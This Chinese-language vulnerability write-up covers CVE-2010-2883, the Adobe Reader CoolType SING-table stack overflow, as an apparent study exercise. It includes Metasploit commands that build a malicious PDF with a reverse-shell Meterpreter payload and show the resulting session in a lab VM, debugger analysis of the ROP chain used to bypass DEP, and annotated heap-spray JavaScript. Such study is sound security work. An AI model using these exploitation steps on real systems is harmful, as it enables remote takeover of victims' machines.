CVE-2010-2883漏洞分析

本文深入分析 CVE-2010-2883 漏洞,这是 Adobe Reader CoolType.dll 在解析 TTF 字体 SING 表时的栈溢出漏洞。文章涵盖 Metasploit 漏洞复现、ROP 绕过 DEP 保护、Heap Spray 堆喷射技术原理,以及完整的 exploit 执行流程分析。
1 漏洞信息
-
这个漏洞的例子来自《漏洞战争:软件漏洞分析精要》,一本关于漏洞挖掘的书,里面很多经典的例子值得学习。
-
本文主要对第二章的
CVE-2010-2883漏洞进行分析,这个漏洞是一个栈溢出漏洞,其原理是通过构造一个特殊 PDF 文件,使得程序在读取该文件时,导致栈溢出。 -
Adobe Reader中的CoolType.dll在解析 TTF 字体文件 SING 表的uniqueName字段时,由于没有检查长度直接调用了strcat函数,将uniqueName拷贝到栈中(局部变量),造成栈缓冲区溢出漏洞。 -
当用户打开特制的 PDF 就有可能导致
任意代码执行。
1.1 漏洞影响
Adobe Reader 和 Acrobat 9.x 9.4 之前的 CoolType.dll 以及 Windows 和 Mac OS X 上的 8.x 8.2.5 之前的 CoolType.dll。
1.2 研究目的
metasploit的使用,expolit的编写。- 栈溢出漏洞调试技术
Heap Spray技术- 如何利用
ROP绕过DEP
2 漏洞复现
Metasploit是一款开源的渗透测试框架,提供了许多渗透测试相关的工具和模块。可以帮助安全研究人员在渗透测试中收集信息、执行攻击、检测漏洞等。接下来我们用metasploit来演示漏洞的利用过程。
2.1 环境准备
| 环境 | 版本 | |
|---|---|---|
| 操作系统 | Windows XP Professional SP3 | 简体中文版 |
| 虚拟机 | VMware Fusion | 专业版 12.2.4 (20071091) |
| 调试器 | OllyDbg | 吾爱破解 OllyDbg |
| 漏洞软件 | Adobe Reader | 9.3.4 |
2.2 实施攻击
- 进入 msf 终端,
msfconsole - 搜索 exp:
search adobe_cooltype_sing - 选择第二个 exp:
use exploit/windows/fileformat/adobe_cooltype_sing - 设置 payload:
set payload windows/meterpreter/reverse_tcp - payload 设置 vmware 对应的网卡地址:
set LHOST 172.16.31.1 - payload 设置端口:
set LPORT 4444 - 生成 pdf 样本:
exploit - 配置 handler:
use exploit/multi/handler - 为 handler 设置相同的 payload(过程同上)
- 执行 expolit 等待 🐤 上线:
exploit - 发送 msf.pdf 到靶机,打开即可看到 meterpreter 获取了 shell
migration命令将session迁移到其他进程中。简单的示例:
# 搜索exp
msf6 > search adobe_cooltype_sing
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/browser/adobe_cooltype_sing 2010-09-07 great No Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow
1 exploit/windows/fileformat/adobe_cooltype_sing 2010-09-07 great No Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow
Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/fileformat/adobe_cooltype_sing
# 使用第二个exp
msf6 > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
# 设置载荷
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
# 查看载荷选项
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > options
Module options (exploit/windows/fileformat/adobe_cooltype_sing):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.pdf yes The file name.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 198.18.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
# tab补全自动列出本机的网卡地址
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set LHOST
set LHOST 172.16.31.1 set LHOST en4 set LHOST llw0
# 选择vmware对应的网卡地址
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set LHOST 172.16.31.1
LHOST => 172.16.31.1
# 设置端口
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set LPORT 4444
LPORT => 4444
# 生成木马文件
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > exploit
# 将msf.pdf发送到靶机,打开即可看到meterpreter获取了shell
[*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /Users/xxx/.msf4/local/msf.pdf
# 配置handler
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 172.16.31.1
LHOST => 172.16.31.1
# 等待靶机上线
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 172.16.31.1:4444
# 获取到shell会话
[*] Sending stage (175686 bytes) to 172.16.31.140
[*] Meterpreter session 60 opened (172.16.31.1:4444 -> 172.16.31.140:1403) at 2022-12-05 23:32:48 +0800
# Adobe程序会卡顿崩溃,所以需要尽快将session转移到另一个进程,这里选择exeplore.exe
meterpreter > ps
# Process List
PID PPID Name Arch Session User Path
---
2184 3640 explorer.exe x86 0 THANATOS-8649E8\Administrator C:\WINDOWS\Explorer.exe
# 转移到explorer.exe进程
meterpreter > migrate 2184
[*] Migrating from 3528 to 2184...
# 查看靶机系统信息
meterpreter > sysinfo
Computer : THANATOS-8649E8
OS : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture : x86
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
实施过程中有很多知识点不甚明了,比如msf.pdf如何生成、sending stage发送的是什么,这里先不展开细说,后面再一一补充。
3 原理分析
先看看msf.pdf文件格式,以及 TTF 字体文件格式,然后再结合 IDA静态分析、OD动态调试,分析漏洞的产生。
3.1 PDF 文件格式
PDF 文件是一种文档格式,它的结构由四部分组成:
header- 文件头部,用于存储文件的基本信息,包括版本号、文件类型、标识符等。具体内容取决于 PDF 文件的版本和类型,通常格式为%PDF-x.y,版本历经了 1.0、1.1、1.2、1.3、1.4、1.5、1.6、1.7、2.0 多个版本。
body- 文件内容部分,包含文档的内容信息,由一系列的文档对象组成。文档对象可以是文本对象、图形对象、图像对象等。文本对象用于存储文档中的文本内容,可以指定字体、颜色、大小等样式。图形对象用于存储文档中的图形信息,可以指定线条、填充、形状等特征。图像对象用于存储文档中的图像信息,可以指定格式、大小、色彩等属性。
xref table- 交叉引用表,用于记录文档对象的位置信息。它的结构由一系列的交叉引用记录组成,每个记录都由一个偏移量和一个
generation number组成。偏移量指示文档对象在文件中的位置,generation number用于标识文档对象是否存在。它通常用整数值来表示,如果文档对象存在,则generation number的值为 0;如果文档对象不存在,则generation number的值为 1。
- 交叉引用表,用于记录文档对象的位置信息。它的结构由一系列的交叉引用记录组成,每个记录都由一个偏移量和一个
trailer- 文件尾部,包括 trailer 字典,它有助于找到文件的每个部分, 并列出可以在不处理整个文件的情况下读取的各种元数据。
用 pdfstreamdumper 打开msf.pdf文件,可以看到它的结构如下:
对象 10 是TTF字体对象,对象 12 是 javascript 脚本对象
TTF对象包含一个 SING 表,SING 技术是 Adobe 公司推出的一种高效的字符渲染技术,它主要用于实现文本的快速渲染和显示。它不仅可以用于解决“外字”(Gaiji)的问题,还能够应用于处理各种常见的文本内容。支持多种字体格式,如 TrueType、OpenType 等。
所以字体文件一般都允许携带 SING 表,字体的其它表不做深究,来看下 SING 表的结构:
TTF表目录结构如下:
struct TableEntry
{
char tag[4]; // 四个字符"SING"
unsigned long checkSum;
unsigned long offset; // SING表的偏移量
unsigned long length; // SING表的长度
};
struct SING
{
unsigned short tableVersionMajor;
unsigned short tableVersionMinor;
unsigned short glyphletVersion;
unsigned short permissions;
unsigned short mainGID;
unsigned short unitsPerEm;
short vertAdvance;
short vertOrigin;
unsigned char uniqueName[28];
unsigned char METAMD5[16];
unsigned char nameLength;
unsigned char *baseGlyphName;
};
结合pdfstreamdumperdump 出来的内容,很容易找到 SING 表的TableEntry,offset 成员指向的就是 SING 表的起始地址
uniqueName字段在SING表 + 16 的位置, 上图中 SING 表地址的下一行位置,数据为 DA 65 B9 87 ...。指向的数据将最为strcat的第二个参数。
3.2 静态分析
IDA加载adobe reader安装目录下的CoolType.dll,搜索SING字符串,交叉引用, 找到引用位置不远处有一个strcat函数,说明定位到了漏洞函数。
将上面的两个 C 结构体导入到IDA中,然后对v18右键,转换成SING结构体指针
从反编译结果可以看出,strcat函数的第一个参数为局部变量,且没有对uniqueName长度做检查,从而导致了栈溢出。
来到函数头,发现有安全 cookie,存在GS机制
用010 editor打开目标 exe,发现开启了基址随机化ASLR
3.3 动态分析
打开adobe reader软件, OD 附加进程,ctrl+g跳转到静态分析得到的strcat调用地址0x0803DD74,F2 设置断点。F9 让软件跑起来。
然后双击样本msf.pdf,成功断在 strcat 位置,F8 步过,此时查看堆栈窗口。
返回地址已经被覆盖为0x4A82A714,右键反汇编窗口跟随。
跳转到pop esp;指令,这里运用了ROP技术。
ROP(Return-Oriented Programming)是一种高级攻击技术,用于在无法直接执行恶意代码的情况下,通过控制流程来执行攻击。它主要用于绕过程序的安全防护措施,如代码签名验证、数据执行保护(DEP)等。
ROP 技术与栈溢出漏洞相关,利用漏洞将恶意代码写入栈中,并通过控制程序的指令流来执行恶意代码。攻击者通常会构造一个包含多个指令的序列,该序列中的每个指令都是在目标程序中已经存在的正常指令,可以在不触发异常的情况下执行。这些指令序列称为gadget。攻击者可以通过将多个 gadget 组合起来,攻击者可以在不能执行恶意代码的情况下,执行攻击。
ROP 技术通常与 POP ESP 指令结合使用,即将栈顶指针弹出,指向恶意代码。当程序流经 POP ESP 指令时,栈顶指针会指向恶意代码,导致程序执行恶意代码。通过这种方式,攻击者可以在不能直接执行恶意代码的情况下,通过控制程序流来执行攻击。
ROP 技术具有一定的难度,需要构造复杂的序列,并且需要在攻击目标中搜寻足够多的 gadget。同时,ROP 技术也可能会受到操作系统的限制,导致攻击无法成功。
在使用 ROP 技术进行攻击时,攻击者可以通过不同的方式来控制程序的指令流,如通过硬编码 gadget 序列,或通过搜索程序中的 gadget 来动态构造序列。无论使用哪种方式,ROP 技术都是一种高级的攻击手段,能够有效绕过程序的安全防护措施,执行攻击。
pop esp将栈中跳转地址下一地址的内容0x0C0C0C0C赋值给 esp 寄存器,这时候栈为0x0C0C0C0C。ret等同于pop eip,当执行ret指令后,将0x0C0C0C0C指向的内容赋值给eip。
观察0x0C0C0C0C位置的 rop 链,调用的都是 icucnv36.dll库中的地址,因为这个库没有开启aslr 保护。
0x0C0C0C0C处的 rop 链是什么时候创建出来的?这里我们需要研究一下HeapSpray堆喷技术。
堆喷射是在 shellcode 的前面加上大量的 slide code(跳板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得内存被大量的注入代码占据。然后通过结合其他漏洞控制程序流,使得程序执行到堆上,最终将导致 shellcode 的执行。
常见的 slide code 有 NOP 指令,还有一些类 NOP 指令,比如 0x0c,0x0d 等。它们的共同特点都是不会影响 shellcode 的执行。
随机申请大量内存,如何准确的跳转到 shellcode 上呢?这就是slide code的作用,如果 shellcode 前面有很长的 side code,只要跳转到 slide code 范围内的任意地址,最后都能执行 shellcode。
堆内存分配是随机的,没有规律,所以需要大量分配,由于起始分配地址很大,堆很可能覆盖到地址:0x0a0a0a0a,0x0c0c0c0c,0x0d0d0d0d 等,为了稳定覆盖到 0x0c0c0c0c 地址,一般申请内存大小为 200M
加载 pdf 的时候,程序先执行 pdf 中的 js 脚本,在 js 中大量申请堆内存,覆盖到 0x0c0c0c0c 地址。所以,上面两条指令执行后,才真正拿到了控制权。
我们想要知道程序是怎么读取栈区进行跳转。继续往下走,来到call dword ptr ds:[eax],eax 处于我们覆盖的栈数据地址范围内。
跳转过去,看到三条指令。调整 ebp 我们覆盖的栈区,strcat dest+4 地址。然后执行 leave 修改 esp,leave 作用类似于mov esp,ebp/pop ebp。执行 retn 指令后,将跳转执行pop esp/retn,进入到0x0C0C0C0C 执行 我们的 shellcode。
TODO: 既然能调整 esp 了,为什么要再加一层跳转?
继续单步调试,分析0x0C0C0C0C位置的 rop 链
调用CreateFileA创建临时文件iso88591
调用CreateFileMappingA创建文件映射内核对象。
调用MapViewOfFile将文件映射对象映射到当前应用程序的地址空间。
调用memcpy函数将 shellcode 写入到 MapViewOfFile 返回的地址。这段内存分配了可读可先可执行权限,于是就绕过了 DEP 保护。
接下来循环解密 shellcode
跳转到 0x037400B0 执行解密后的 shellcode
3.4 exploit 流程
- 双击
msf.pdf,首先加载 js 脚本 - js 堆喷射
shellcode到堆地址0x0C0C0C0C范围内。shellcode = rop链 + payload(解密指令+密文) - 解析 SING 表的
uniqueName,触发栈溢出,通过 stack_data 的指令跳转到0x0C0C0C0C执行 rop 链。 - 执行 rop 链,创建可读可写可执行内存,将 payload 复制到内存。跳转到 payload
- 解密,执行 payload。
4 知识扩展
- 分析 js 堆喷射代码
4.1 分析 js 堆喷射代码
我们将 js 脚本提取出来,一行行分析。
// payload太长了,这里省略掉。
var var_payload = unescape("escaped_payload");
// slide code 0x0c0c0c0c ==> or al,0x0c;or al,0x0c;
// 关于slide code 前面已经介绍过了
var var_c = unescape(
"%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c"
);
// slide code 扩充到 0xffe4 = 65536 - 20 - 8 长度
while (var_c.length + 20 + 8 < 65536) var_c += var_c;
// 然后截取前面 0xbe8 = 0x0c0c-0x24 的长度
var_b = var_c.substring(0, (0x0c0c - 0x24) / 2);
// 在 截取的slide code 后面加上 payload
var_b += var_payload;
// 继续在后面加上扩充的slide code(长度65536),目的是为了让整个长度大于等于65536
var_b += var_c;
// 65536 / 2 是因为js中的字符串是unicode编码,每个字符占两个字节
// 得到的字符串实际字节数量为65536
// 数据结构为:sidecode(0xbe8) + payload + sidecode
var_shellcode = var_b.substring(0, 65536 / 2);
// 将得到的shellcode(长度65536)填充为 0x80000 长度
// windows下HeapCreate创建堆大小为0x80000
// 这里shellcode实际的字节数量为:`0x100000 = 0x80000 * 2`
while (var_shellcode.length < 0x80000) var_shellcode += var_shellcode;
// 相当于16个shellcode拼接在一起, 最后一个shellcode截断长度为0xefe8, 目的是为了加速喷射,因为是精准喷射,所以不需要填充整个堆。
// unicode编码,每个字符占两个字节。截取后的字符串实际字节数量为 0xfefe8 = (0x80000 - (0x1020 - 0x08) / 2) * 2
var_3 = var_shellcode.substring(0, 0x80000 - (0x1020 - 0x08) / 2);
// 申请0x1f0块堆,填充数据。
// 填充的数据长度为 0xfefe8 + (("s" + 字符串截断符0).length)* 2 = 0xfefec
var var_4 = new Array();
for (var_i = 0; var_i < 0x1f0; var_i++) var_4[var_i] = var_3 + "s";
windows 堆分配按照 64kb 分配,堆块的首地址对齐 0x10000。堆块的大小为 0x100000(1M)
所以,只要低四位为 0C0C 的地址,指向 payload,就能达到精准喷射。
经过上面的分析,我们知道 shellcode 的大小为 0x10000(1M), payload 的地址在 shellcode 偏移 0xbe8 的位置。
如何理解前面 slide code 的长度0xbe8 = 0x0c0c-0x24? 是因为每个内存块(65536)的头部有一些额外信息。
假设堆的起始地地址为0xc0c0000, 0xc0c0000 + 0x24正好指向 payload:0xc0c0c0c = 0xc0c0000 + 0x24 + 0xbe8。